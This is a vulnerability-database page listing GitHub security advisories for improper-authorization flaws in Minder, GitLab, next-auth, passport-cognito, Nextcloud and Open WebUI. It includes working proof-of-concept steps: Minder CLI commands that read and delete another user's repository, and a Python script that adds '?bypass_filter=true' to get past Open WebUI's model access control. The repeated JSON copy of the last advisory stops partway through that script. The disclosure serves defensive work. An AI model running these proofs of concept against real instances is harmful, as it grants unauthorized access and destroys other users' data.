CWE-285
DiscouragedImproper Authorization
Abstraction: Class · Status: Draft
The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.
2304 vulnerabilities reference this CWE, most recent first.
GHSA-V627-69V2-XX37
Vulnerability from github – Published: 2024-03-05 16:20 – Updated: 2026-01-03 00:04Summary
A Minder user can use the endpoints listed in the issue title to access any repository in the DB, irrespective of who owns the repo and any permissions that user may have.
Details
https://github.com/stacklok/minder/blob/e88e4b286e4bc04c03b0332a77961f085e1aa77f/database/query/repositories.sql#L22-L23 https://github.com/stacklok/minder/blob/a115c8524fbd582b2b277eaadce024bebbded508/internal/controlplane/handlers_repositories.go#L277-L278
The DB query used here checks by repo owner, repo name and provider name (which is always "github"). These query values are not distinct for the particular user - as long as the user has valid credentials and a provider, they can set the repo owner/name to any value they want and the server will return information on this repo.
DeleteRepositoryByName uses the same query and I have been able to delete another user's repo using this technique.
The GetArtifactByName endpoint also uses this DB query. I have not reproduced the behaviour with this endpoint due to a lack of a suitable test case, but I do not see anything in the implementation of the endpoint to prevent it being exploited.
PoC
Setup: 1. Fresh provider/project on the production minder instance which is owned by me. 2. A repo registered by another user (in this case, Ozz)
# show my identity
$ minder auth whoami
No config file present, using default values.
Here are your details:
+----------------------------------------------------+----------------------------------------------------+
| KEY | VALUE |
+----------------------------------------------------+----------------------------------------------------+
| Subject | c93cc12e-999d-49f4-9ee3-593fdfb39204 |
+----------------------------------------------------+----------------------------------------------------+
| Created At | 2024-02-26 15:53:29.228 +0000 |
| | UTC |
+----------------------------------------------------+----------------------------------------------------+
| Updated At | 2024-02-26 15:53:29.228 +0000 |
| | UTC |
+----------------------------------------------------+----------------------------------------------------+
| Minder Server | api.stacklok.com:443 |
+----------------------------------------------------+----------------------------------------------------+
| Project | dmjb / |
| | ca059552-7b8a-4c6e-918d-ca7e6cbd0bab |
+----------------------------------------------------+----------------------------------------------------+
# show that I have no repos registered
$ minder repo list
No config file present, using default values.
+----+---------+----------+-------------+-------+------+
| ID | PROJECT | PROVIDER | UPSTREAM ID | OWNER | NAME |
+----+---------+----------+-------------+-------+------+
# show details on one of Ozz's repos
$ minder repo get -n JAORMX/auditevent
No config file present, using default values.
{
"id": "a7e82080-9b6c-41f3-bc08-8e9442f8b2d2",
"context": {
"provider": "github",
"project": "b513f7f0-26dc-42e6-81a0-577df5489e62"
},
"owner": "JAORMX",
"name": "auditevent",
"repoId": "605597568",
"hookUrl": "https://api.github.com/repos/JAORMX/auditevent/hooks/464564107",
"deployUrl": "https://api.github.com/repos/JAORMX/auditevent/deployments",
"cloneUrl": "https://github.com/JAORMX/auditevent.git",
"isFork": true,
"createdAt": "2024-03-04T13:27:54.019356Z",
"updatedAt": "2024-03-04T13:27:54.019356Z",
"defaultBranch": "main"
}
# delete Ozz's repo
$ minder repo delete -n JAORMX/auditevent
No config file present, using default values.
Successfully deleted repo with name: JAORMX/auditevent
# Ozz's repo no longer exists
$ minder repo get -n JAORMX/auditevent
No config file present, using default values.
Message: Error getting repo by name
Details: NotFound means some requested entity (e.g., file or directory) was
not found.
Impact
Any user and project in a multi-tenant Minder instance.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/stacklok/minder"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.33"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-27916"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-05T16:20:07Z",
"nvd_published_at": "2024-03-21T02:52:20Z",
"severity": "HIGH"
},
"details": "### Summary\nA Minder user can use the endpoints listed in the issue title to access any repository in the DB, irrespective of who owns the repo and any permissions that user may have.\n \n### Details\n\nhttps://github.com/stacklok/minder/blob/e88e4b286e4bc04c03b0332a77961f085e1aa77f/database/query/repositories.sql#L22-L23\nhttps://github.com/stacklok/minder/blob/a115c8524fbd582b2b277eaadce024bebbded508/internal/controlplane/handlers_repositories.go#L277-L278\n\nThe DB query used here checks by repo owner, repo name and provider name (which is always \"github\"). These query values are not distinct for the particular user - as long as the user has valid credentials and a provider, they can set the repo owner/name to any value they want and the server will return information on this repo.\n\n`DeleteRepositoryByName` uses the same query and I have been able to delete another user\u0027s repo using this technique.\n\nThe `GetArtifactByName` endpoint also uses this DB query. I have not reproduced the behaviour with this endpoint due to a lack of a suitable test case, but I do not see anything in the implementation of the endpoint to prevent it being exploited.\n\n### PoC\n\nSetup:\n1. Fresh provider/project on the production minder instance which is owned by me.\n2. A repo registered by another user (in this case, Ozz)\n\n```\n# show my identity\n$ minder auth whoami\nNo config file present, using default values.\n\n Here are your details:\n\n+----------------------------------------------------+----------------------------------------------------+\n| KEY | VALUE |\n+----------------------------------------------------+----------------------------------------------------+\n| Subject | c93cc12e-999d-49f4-9ee3-593fdfb39204 |\n+----------------------------------------------------+----------------------------------------------------+\n| Created At | 2024-02-26 15:53:29.228 +0000 |\n| | UTC |\n+----------------------------------------------------+----------------------------------------------------+\n| Updated At | 2024-02-26 15:53:29.228 +0000 |\n| | UTC |\n+----------------------------------------------------+----------------------------------------------------+\n| Minder Server | api.stacklok.com:443 |\n+----------------------------------------------------+----------------------------------------------------+\n| Project | dmjb / |\n| | ca059552-7b8a-4c6e-918d-ca7e6cbd0bab |\n+----------------------------------------------------+----------------------------------------------------+\n\n# show that I have no repos registered\n$ minder repo list\nNo config file present, using default values.\n+----+---------+----------+-------------+-------+------+\n| ID | PROJECT | PROVIDER | UPSTREAM ID | OWNER | NAME |\n+----+---------+----------+-------------+-------+------+\n\n# show details on one of Ozz\u0027s repos\n$ minder repo get -n JAORMX/auditevent\nNo config file present, using default values.\n{\n \"id\": \"a7e82080-9b6c-41f3-bc08-8e9442f8b2d2\",\n \"context\": {\n \"provider\": \"github\",\n \"project\": \"b513f7f0-26dc-42e6-81a0-577df5489e62\"\n },\n \"owner\": \"JAORMX\",\n \"name\": \"auditevent\",\n \"repoId\": \"605597568\",\n \"hookUrl\": \"https://api.github.com/repos/JAORMX/auditevent/hooks/464564107\",\n \"deployUrl\": \"https://api.github.com/repos/JAORMX/auditevent/deployments\",\n \"cloneUrl\": \"https://github.com/JAORMX/auditevent.git\",\n \"isFork\": true,\n \"createdAt\": \"2024-03-04T13:27:54.019356Z\",\n \"updatedAt\": \"2024-03-04T13:27:54.019356Z\",\n \"defaultBranch\": \"main\"\n}\n\n# delete Ozz\u0027s repo\n$ minder repo delete -n JAORMX/auditevent\nNo config file present, using default values.\nSuccessfully deleted repo with name: JAORMX/auditevent\n\n# Ozz\u0027s repo no longer exists\n$ minder repo get -n JAORMX/auditevent\nNo config file present, using default values.\nMessage: Error getting repo by name\nDetails: NotFound means some requested entity (e.g., file or directory) was\nnot found.\n```\n\n### Impact\n\nAny user and project in a multi-tenant Minder instance.",
"id": "GHSA-v627-69v2-xx37",
"modified": "2026-01-03T00:04:20Z",
"published": "2024-03-05T16:20:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/stacklok/minder/security/advisories/GHSA-v627-69v2-xx37"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27916"
},
{
"type": "WEB",
"url": "https://github.com/stacklok/minder/commit/45750b4e9fb2de33365758366e06c19e999bd2eb"
},
{
"type": "PACKAGE",
"url": "https://github.com/stacklok/minder"
},
{
"type": "WEB",
"url": "https://github.com/stacklok/minder/blob/a115c8524fbd582b2b277eaadce024bebbded508/internal/controlplane/handlers_repositories.go#L277-L278"
},
{
"type": "WEB",
"url": "https://github.com/stacklok/minder/blob/main/internal/controlplane/handlers_repositories.go#L257-L299"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "`GetRepositoryByName`, `DeleteRepositoryByName` and `GetArtifactByName` allow access of arbitrary repositories in Minder by any authenticated user"
}
GHSA-V64G-F7QF-63XM
Vulnerability from github – Published: 2023-12-15 18:30 – Updated: 2023-12-15 18:30An issue has been discovered in GitLab affecting all versions starting from 9.3 before 16.4.4, all versions starting from 16.5 before 16.5.4, all versions starting from 16.6 before 16.6.2. In certain situations, it may have been possible for developers to override predefined CI variables via the REST API.
{
"affected": [],
"aliases": [
"CVE-2023-5061"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-15T16:15:45Z",
"severity": "MODERATE"
},
"details": "An issue has been discovered in GitLab affecting all versions starting from 9.3 before 16.4.4, all versions starting from 16.5 before 16.5.4, all versions starting from 16.6 before 16.6.2. In certain situations, it may have been possible for developers to override predefined CI variables via the REST API.",
"id": "GHSA-v64g-f7qf-63xm",
"modified": "2023-12-15T18:30:28Z",
"published": "2023-12-15T18:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5061"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/2125189"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/425521"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V64W-49XW-QQ89
Vulnerability from github – Published: 2023-11-20 23:25 – Updated: 2023-11-20 23:25Impact
next-auth applications prior to version 4.24.5 that rely on the default Middleware authorization are affected.
A bad actor could create an empty/mock user, by getting hold of a NextAuth.js-issued JWT from an interrupted OAuth sign-in flow (state, PKCE or nonce).
Manually overriding the next-auth.session-token cookie value with this non-related JWT would let the user simulate a logged in user, albeit having no user information associated with it. (The only property on this user is an opaque randomly generated string).
This vulnerability does not give access to other users' data, neither to resources that require proper authorization via scopes or other means. The created mock user has no information associated with it (ie. no name, email, access_token, etc.)
This vulnerability can be exploited by bad actors to peek at logged in user states (e.g. dashboard layout).
Note: Regardless of the vulnerability, the existence of a NextAuth.js session state can provide simple authentication, but not authorization in your applications. For role-based access control, you can check out our guide.
Patches
We patched the vulnerability in next-auth v4.24.5. To upgrade, run one of the following:
npm i next-auth@latest
yarn add next-auth@latest
pnpm add next-auth@latest
Workarounds
Upgrading to latest is the recommended way to fix this issue. However, using a custom authorization callback for Middleware, developers can manually do a basic authentication:
// middleware.ts
import { withAuth } from "next-auth/middleware"
export default withAuth(/*your middleware function*/, {
// checking the existence of any property - besides `value` which might be a random string - on the `token` object is sufficient to prevent this vulnerability
callbacks: { authorized: ({ token }) => !!token?.email }
})
References
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "next-auth"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.24.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-48309"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2023-11-20T23:25:36Z",
"nvd_published_at": "2023-11-20T19:15:09Z",
"severity": "MODERATE"
},
"details": "### Impact\n\n`next-auth` applications prior to version **4.24.5** that rely on the default [Middleware authorization](https://next-auth.js.org/configuration/nextjs#middleware) are affected.\n\nA bad actor could create an empty/mock user, by getting hold of a NextAuth.js-issued JWT from an interrupted OAuth sign-in flow (state, PKCE or nonce).\n\nManually overriding the `next-auth.session-token` cookie value with this non-related JWT would let the user simulate a logged in user, albeit having no user information associated with it. (The only property on this user is an opaque randomly generated string).\n\nThis vulnerability does **not** give access to other users\u0027 data, neither to resources that require proper authorization via scopes or other means. The created mock user has no information associated with it (ie. no name, email, access_token, etc.)\n\nThis vulnerability can be exploited by bad actors to peek at logged in user states (e.g. dashboard layout).\n\n_Note: Regardless of the vulnerability, the existence of a NextAuth.js session state can provide simple authentication, but not authorization in your applications. For role-based access control, you can check out [our guide](https://authjs.dev/guides/basics/role-based-access-control)._\n\n### Patches\n\nWe patched the vulnerability in `next-auth` `v4.24.5`. To upgrade, run one of the following:\n\n```\nnpm i next-auth@latest\n```\n```\nyarn add next-auth@latest\n```\n```\npnpm add next-auth@latest\n```\n\n### Workarounds\n\nUpgrading to `latest` is the recommended way to fix this issue. However, using [a custom authorization callback for Middleware](https://next-auth.js.org/configuration/nextjs#advanced-usage), developers can manually do a basic authentication:\n\n```ts\n// middleware.ts\nimport { withAuth } from \"next-auth/middleware\"\n\nexport default withAuth(/*your middleware function*/, {\n // checking the existence of any property - besides `value` which might be a random string - on the `token` object is sufficient to prevent this vulnerability\n callbacks: { authorized: ({ token }) =\u003e !!token?.email }\n})\n```\n\n### References\n\n- [NextAuth.js Middleware](https://next-auth.js.org/configuration/nextjs#middleware)\n- [Role-based access contorl (RBAC) guide](https://authjs.dev/guides/basics/role-based-access-control)",
"id": "GHSA-v64w-49xw-qq89",
"modified": "2023-11-20T23:25:36Z",
"published": "2023-11-20T23:25:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nextauthjs/next-auth/security/advisories/GHSA-v64w-49xw-qq89"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48309"
},
{
"type": "WEB",
"url": "https://github.com/nextauthjs/next-auth/commit/d237059b6d0cb868c041ba18b698e0cee20a2f10"
},
{
"type": "WEB",
"url": "https://authjs.dev/guides/basics/role-based-access-control"
},
{
"type": "PACKAGE",
"url": "https://github.com/nextauthjs/next-auth"
},
{
"type": "WEB",
"url": "https://next-auth.js.org/configuration/nextjs#advanced-usage"
},
{
"type": "WEB",
"url": "https://next-auth.js.org/configuration/nextjs#middlewar"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Possible user mocking that bypasses basic authentication"
}
GHSA-V6C5-HWQG-3X5Q
Vulnerability from github – Published: 2020-09-04 17:23 – Updated: 2020-08-31 18:59All versions of passport-cognito are vulnerable to Improper Authorization. The package fails to properly scope the variables containing authorization information, such as access token, refresh token and ID token. This causes a race condition where simultaneous authenticated users may receive authorization tokens for a different user. This would allow a user to take actions on another user's behalf.
Recommendation
No fix is currently available. Consider using an alternative package until a fix is made available.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "passport-cognito"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-19723"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2020-08-31T18:59:30Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "All versions of `passport-cognito` are vulnerable to Improper Authorization. The package fails to properly scope the variables containing authorization information, such as access token, refresh token and ID token. This causes a race condition where simultaneous authenticated users may receive authorization tokens for a different user. This would allow a user to take actions on another user\u0027s behalf.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.",
"id": "GHSA-v6c5-hwqg-3x5q",
"modified": "2020-08-31T18:59:30Z",
"published": "2020-09-04T17:23:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-19723"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/1443"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Improper Authorization in passport-cognito"
}
GHSA-V6CM-GQ9R-7CPP
Vulnerability from github – Published: 2022-05-13 01:38 – Updated: 2022-05-13 01:38Nextcloud Server before 11.0.3 is vulnerable to an improper session handling allowed an application specific password without permission to the files access to the users file.
{
"affected": [],
"aliases": [
"CVE-2017-0892"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-384"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-05-08T20:29:00Z",
"severity": "MODERATE"
},
"details": "Nextcloud Server before 11.0.3 is vulnerable to an improper session handling allowed an application specific password without permission to the files access to the users file.",
"id": "GHSA-v6cm-gq9r-7cpp",
"modified": "2022-05-13T01:38:25Z",
"published": "2022-05-13T01:38:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0892"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/191979"
},
{
"type": "WEB",
"url": "https://nextcloud.com/security/advisory/?id=nc-sa-2017-009"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V6QF-75PR-P96M
Vulnerability from github – Published: 2026-05-14 20:25 – Updated: 2026-05-19 16:00Summary
An internal-only bypass_filter parameter is exposed on the /openai/chat/completions and /ollama/api/chat HTTP endpoints via FastAPI query string binding, allowing any authenticated user to append ?bypass_filter=true and bypass model access control checks to invoke admin-restricted models.
Details
The generate_chat_completion route handlers in both routers/openai.py and routers/ollama.py declare bypass_filter as a function parameter:
routers/openai.py, line 937–941:
@router.post("/chat/completions")
async def generate_chat_completion(
request: Request,
form_data: dict,
user=Depends(get_verified_user),
bypass_filter: Optional[bool] = False,
...
):
routers/ollama.py, line 1283–1288:
@router.post("/api/chat")
async def generate_chat_completion(
...
bypass_filter: Optional[bool] = False,
...
):
Because FastAPI automatically binds unrecognized function parameters to the query string, any HTTP client can set this value by appending ?bypass_filter=true to the request URL.
When bypass_filter is true, the access control check is skipped entirely:
routers/openai.py, line 980:
if not bypass_filter and user.role == "user":
# ACL check — skipped when bypass_filter is True
This parameter is intended for internal use only — the server-side chat pipeline in utils/chat.py (lines 238, 253) passes bypass_filter=True as a Python function argument when making recursive calls to base models that have already been authorized. However, because it appears in the HTTP handler's signature, it is unintentionally exposed to external callers.
This is separate from the BYPASS_MODEL_ACCESS_CONTROL environment variable, which is a deliberate admin setting for trusted environments.
PoC
#!/usr/bin/env python3
"""
uv run --no-project --with requests finding_02_bypass_filter_acl_bypass.py [--base-url http://localhost:8089]
Finding #2 — Unauthorized model access via bypass_filter query parameter
SUMMARY:
The POST /openai/chat/completions and POST /ollama/api/chat endpoints expose
a bypass_filter query parameter as part of their FastAPI function signatures.
FastAPI automatically binds this to the query string. When an authenticated
user appends ?bypass_filter=true, the access control check is skipped:
if not bypass_filter and user.role == "user":
check_model_access(user, model) # <-- skipped when bypass_filter=True
This allows any authenticated user to invoke models they are not authorized
to use, including admin-restricted models.
VULNERABLE CODE:
backend/open_webui/routers/openai.py, line 941 + 980:
async def generate_chat_completion(..., bypass_filter: Optional[bool] = False, ...):
...
if not bypass_filter and user.role == "user":
# ACL check — skipped when bypass_filter=True
backend/open_webui/routers/ollama.py, line 1288 + 1339:
async def generate_chat_completion(..., bypass_filter: Optional[bool] = False, ...):
...
if not bypass_filter and user.role == "user":
# ACL check — skipped when bypass_filter=True
IMPACT:
Any authenticated user can bypass model access control on both OpenAI and
Ollama proxy endpoints. Because bypass_filter skips the ACL check but still
routes through the server-side LLM connection, the attacker can invoke
admin-restricted models using the server's API keys and receive actual LLM
responses — effectively gaining free, unauthorized access to any configured
model.
REPRODUCTION:
1. Create a restricted model with empty access_grants (admin-only).
2. Authenticate as a regular user.
3. POST /openai/chat/completions with the restricted model → expect 403.
4. POST /openai/chat/completions?bypass_filter=true → request succeeds.
REQUIREMENTS:
- Running Open WebUI instance with Ollama or OpenAI backend configured
- A model with restricted access_grants
- An authenticated user who is NOT granted access to that model
"""
import argparse
import sys
import requests
def main():
parser = argparse.ArgumentParser(description="Finding #2: bypass_filter ACL bypass")
parser.add_argument("--base-url", required=True, help="Open WebUI base URL")
parser.add_argument("--attacker-email", required=True)
parser.add_argument("--attacker-password", required=True)
parser.add_argument("--admin-email", required=True)
parser.add_argument("--admin-password", required=True)
args = parser.parse_args()
base = args.base_url.rstrip("/")
# ── Step 1: Authenticate ──
print("[*] Authenticating as attacker...")
r = requests.post(f"{base}/api/v1/auths/signin",
json={"email": args.attacker_email, "password": args.attacker_password})
if not r.ok:
print(f"[-] Login failed: {r.status_code}")
sys.exit(1)
attacker_token = r.json()["token"]
print(f"[+] Logged in as attacker (id={r.json()['id']})")
# ── Step 2: Find restricted model via admin ──
print("[*] Authenticating as admin to find restricted model...")
r = requests.post(f"{base}/api/v1/auths/signin",
json={"email": args.admin_email, "password": args.admin_password})
if not r.ok:
print(f"[-] Admin login failed: {r.status_code}")
sys.exit(1)
admin_token = r.json()["token"]
r = requests.get(f"{base}/api/v1/models", headers={"Authorization": f"Bearer {admin_token}"})
if not r.ok:
print(f"[-] Failed to list models: {r.status_code}")
sys.exit(1)
models = r.json()
if isinstance(models, dict):
models = models.get("data", models.get("models", []))
restricted_model_id = None
base_model_id = None
for m in models:
info = m.get("info", {})
if not info:
continue
access_grants = info.get("access_grants", None)
if access_grants is not None and len(access_grants) == 0 and info.get("base_model_id"):
restricted_model_id = m["id"]
base_model_id = info.get("base_model_id")
print(f"[+] Found restricted model: {restricted_model_id} (base: {base_model_id})")
break
if not restricted_model_id:
print("[-] No restricted model found.")
sys.exit(1)
headers = {"Authorization": f"Bearer {attacker_token}"}
payload = {
"model": restricted_model_id,
"messages": [{"role": "user", "content": "Say exactly: BYPASS_CONFIRMED"}],
"stream": False,
}
# ── Step 3: Confirm access is denied on /openai/chat/completions ──
print(f"\n[*] Step 1: POST /openai/chat/completions (no bypass) with model '{restricted_model_id}'...")
r = requests.post(f"{base}/openai/chat/completions", headers=headers, json=payload)
print(f" Response: {r.status_code} {r.text[:200]}")
if r.status_code == 403:
print("[+] Access correctly DENIED (403) — attacker cannot use the restricted model")
else:
print(f"[!] Unexpected response code {r.status_code} (expected 403)")
# ── Step 4: Bypass with ?bypass_filter=true on OpenAI endpoint ──
print(f"\n[*] Step 2: POST /openai/chat/completions?bypass_filter=true ...")
r = requests.post(f"{base}/openai/chat/completions",
headers=headers, json=payload,
params={"bypass_filter": "true"})
print(f" Response: {r.status_code} {r.text[:300]}")
openai_bypassed = r.status_code != 403
if openai_bypassed:
print(f"[+] OpenAI endpoint: ACL BYPASSED (got {r.status_code} instead of 403)")
else:
print(f"[-] OpenAI endpoint: bypass did not work (still 403)")
# ── Step 5: Also test Ollama endpoint ──
print(f"\n[*] Step 3: POST /ollama/api/chat?bypass_filter=true ...")
ollama_payload = {
"model": restricted_model_id,
"messages": [{"role": "user", "content": "Say exactly: BYPASS_CONFIRMED"}],
"stream": False,
}
r_normal = requests.post(f"{base}/ollama/api/chat", headers=headers, json=ollama_payload)
print(f" Without bypass: {r_normal.status_code} {r_normal.text[:150]}")
r_bypass = requests.post(f"{base}/ollama/api/chat", headers=headers, json=ollama_payload,
params={"bypass_filter": "true"})
print(f" With bypass: {r_bypass.status_code} {r_bypass.text[:150]}")
ollama_bypassed = r_normal.status_code == 403 and r_bypass.status_code != 403
if ollama_bypassed:
print(f"[+] Ollama endpoint: ACL BYPASSED ({r_normal.status_code} → {r_bypass.status_code})")
elif r_bypass.status_code != 403:
print(f"[+] Ollama endpoint: bypass_filter accepted (status {r_bypass.status_code})")
ollama_bypassed = True
else:
print(f"[-] Ollama endpoint: bypass did not work")
# ── Results ──
if openai_bypassed or ollama_bypassed:
print(f"\n[+] SUCCESS: bypass_filter query parameter bypasses model access control!")
print(f" OpenAI endpoint (/openai/chat/completions): {'BYPASSED' if openai_bypassed else 'not bypassed'}")
print(f" Ollama endpoint (/ollama/api/chat): {'BYPASSED' if ollama_bypassed else 'not bypassed'}")
print(f"")
print(f" Any authenticated user can append ?bypass_filter=true to skip")
print(f" check_model_access() and use admin-restricted models via the")
print(f" server's own API keys.")
sys.exit(0)
else:
print(f"\n[-] FAILED: bypass_filter did not bypass access control on either endpoint")
sys.exit(1)
if __name__ == "__main__":
main()
Impact
Any authenticated user (including those with the lowest "user" role) can invoke any model configured on the server, regardless of access control settings. This bypasses the admin's ability to restrict which models are available to which users — for example, limiting expensive models to specific teams or keeping certain models internal-only.
Resolution
Fixed in commit c0385f60b, first released in v0.8.11 (Mar 2026) — one day after this report.
bypass_filter is no longer a function parameter on either route handler. Both routers/openai.py and routers/ollama.py now read it via getattr(request.state, 'bypass_filter', False). Because request.state can only be populated by server-side code in the same process (typically utils/chat.py when recursing into a base model the caller is already authorized for), external HTTP clients cannot set it via query string, body, or any other transport-level mechanism. Appending ?bypass_filter=true to the URL has no effect — the query parameter is now silently ignored by FastAPI since it doesn't bind to any handler argument.
Users on >= 0.8.11 are not affected.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.10"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45365"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T20:25:24Z",
"nvd_published_at": "2026-05-15T22:16:55Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nAn internal-only bypass_filter parameter is exposed on the /openai/chat/completions and /ollama/api/chat HTTP endpoints via FastAPI query string binding, allowing any authenticated user to append ?bypass_filter=true and bypass model access control checks to invoke admin-restricted models.\n\n### Details\n\nThe `generate_chat_completion` route handlers in both `routers/openai.py` and `routers/ollama.py` declare `bypass_filter` as a function parameter:\n\n**`routers/openai.py`, line 937\u2013941:**\n\n```python\n@router.post(\"/chat/completions\")\nasync def generate_chat_completion(\n request: Request,\n form_data: dict,\n user=Depends(get_verified_user),\n bypass_filter: Optional[bool] = False,\n ...\n):\n```\n\n**`routers/ollama.py`, line 1283\u20131288:**\n\n```python\n@router.post(\"/api/chat\")\nasync def generate_chat_completion(\n ...\n bypass_filter: Optional[bool] = False,\n ...\n):\n```\n\nBecause FastAPI automatically binds unrecognized function parameters to the query string, any HTTP client can set this value by appending `?bypass_filter=true` to the request URL.\n\nWhen `bypass_filter` is true, the access control check is skipped entirely:\n\n**`routers/openai.py`, line 980:**\n\n```python\nif not bypass_filter and user.role == \"user\":\n # ACL check \u2014 skipped when bypass_filter is True\n```\n\nThis parameter is intended for internal use only \u2014 the server-side chat pipeline in `utils/chat.py` (lines 238, 253) passes `bypass_filter=True` as a Python function argument when making recursive calls to base models that have already been authorized. However, because it appears in the HTTP handler\u0027s signature, it is unintentionally exposed to external callers.\n\nThis is separate from the `BYPASS_MODEL_ACCESS_CONTROL` environment variable, which is a deliberate admin setting for trusted environments.\n\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nuv run --no-project --with requests finding_02_bypass_filter_acl_bypass.py [--base-url http://localhost:8089]\n\nFinding #2 \u2014 Unauthorized model access via bypass_filter query parameter\n\nSUMMARY:\n The POST /openai/chat/completions and POST /ollama/api/chat endpoints expose\n a bypass_filter query parameter as part of their FastAPI function signatures.\n FastAPI automatically binds this to the query string. When an authenticated\n user appends ?bypass_filter=true, the access control check is skipped:\n\n if not bypass_filter and user.role == \"user\":\n check_model_access(user, model) # \u003c-- skipped when bypass_filter=True\n\n This allows any authenticated user to invoke models they are not authorized\n to use, including admin-restricted models.\n\nVULNERABLE CODE:\n backend/open_webui/routers/openai.py, line 941 + 980:\n async def generate_chat_completion(..., bypass_filter: Optional[bool] = False, ...):\n ...\n if not bypass_filter and user.role == \"user\":\n # ACL check \u2014 skipped when bypass_filter=True\n\n backend/open_webui/routers/ollama.py, line 1288 + 1339:\n async def generate_chat_completion(..., bypass_filter: Optional[bool] = False, ...):\n ...\n if not bypass_filter and user.role == \"user\":\n # ACL check \u2014 skipped when bypass_filter=True\n\nIMPACT:\n Any authenticated user can bypass model access control on both OpenAI and\n Ollama proxy endpoints. Because bypass_filter skips the ACL check but still\n routes through the server-side LLM connection, the attacker can invoke\n admin-restricted models using the server\u0027s API keys and receive actual LLM\n responses \u2014 effectively gaining free, unauthorized access to any configured\n model.\n\nREPRODUCTION:\n 1. Create a restricted model with empty access_grants (admin-only).\n 2. Authenticate as a regular user.\n 3. POST /openai/chat/completions with the restricted model \u2192 expect 403.\n 4. POST /openai/chat/completions?bypass_filter=true \u2192 request succeeds.\n\nREQUIREMENTS:\n - Running Open WebUI instance with Ollama or OpenAI backend configured\n - A model with restricted access_grants\n - An authenticated user who is NOT granted access to that model\n\"\"\"\n\nimport argparse\nimport sys\nimport requests\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Finding #2: bypass_filter ACL bypass\")\n parser.add_argument(\"--base-url\", required=True, help=\"Open WebUI base URL\")\n parser.add_argument(\"--attacker-email\", required=True)\n parser.add_argument(\"--attacker-password\", required=True)\n parser.add_argument(\"--admin-email\", required=True)\n parser.add_argument(\"--admin-password\", required=True)\n args = parser.parse_args()\n\n base = args.base_url.rstrip(\"/\")\n\n # \u2500\u2500 Step 1: Authenticate \u2500\u2500\n print(\"[*] Authenticating as attacker...\")\n r = requests.post(f\"{base}/api/v1/auths/signin\",\n json={\"email\": args.attacker_email, \"password\": args.attacker_password})\n if not r.ok:\n print(f\"[-] Login failed: {r.status_code}\")\n sys.exit(1)\n attacker_token = r.json()[\"token\"]\n print(f\"[+] Logged in as attacker (id={r.json()[\u0027id\u0027]})\")\n\n # \u2500\u2500 Step 2: Find restricted model via admin \u2500\u2500\n print(\"[*] Authenticating as admin to find restricted model...\")\n r = requests.post(f\"{base}/api/v1/auths/signin\",\n json={\"email\": args.admin_email, \"password\": args.admin_password})\n if not r.ok:\n print(f\"[-] Admin login failed: {r.status_code}\")\n sys.exit(1)\n admin_token = r.json()[\"token\"]\n\n r = requests.get(f\"{base}/api/v1/models\", headers={\"Authorization\": f\"Bearer {admin_token}\"})\n if not r.ok:\n print(f\"[-] Failed to list models: {r.status_code}\")\n 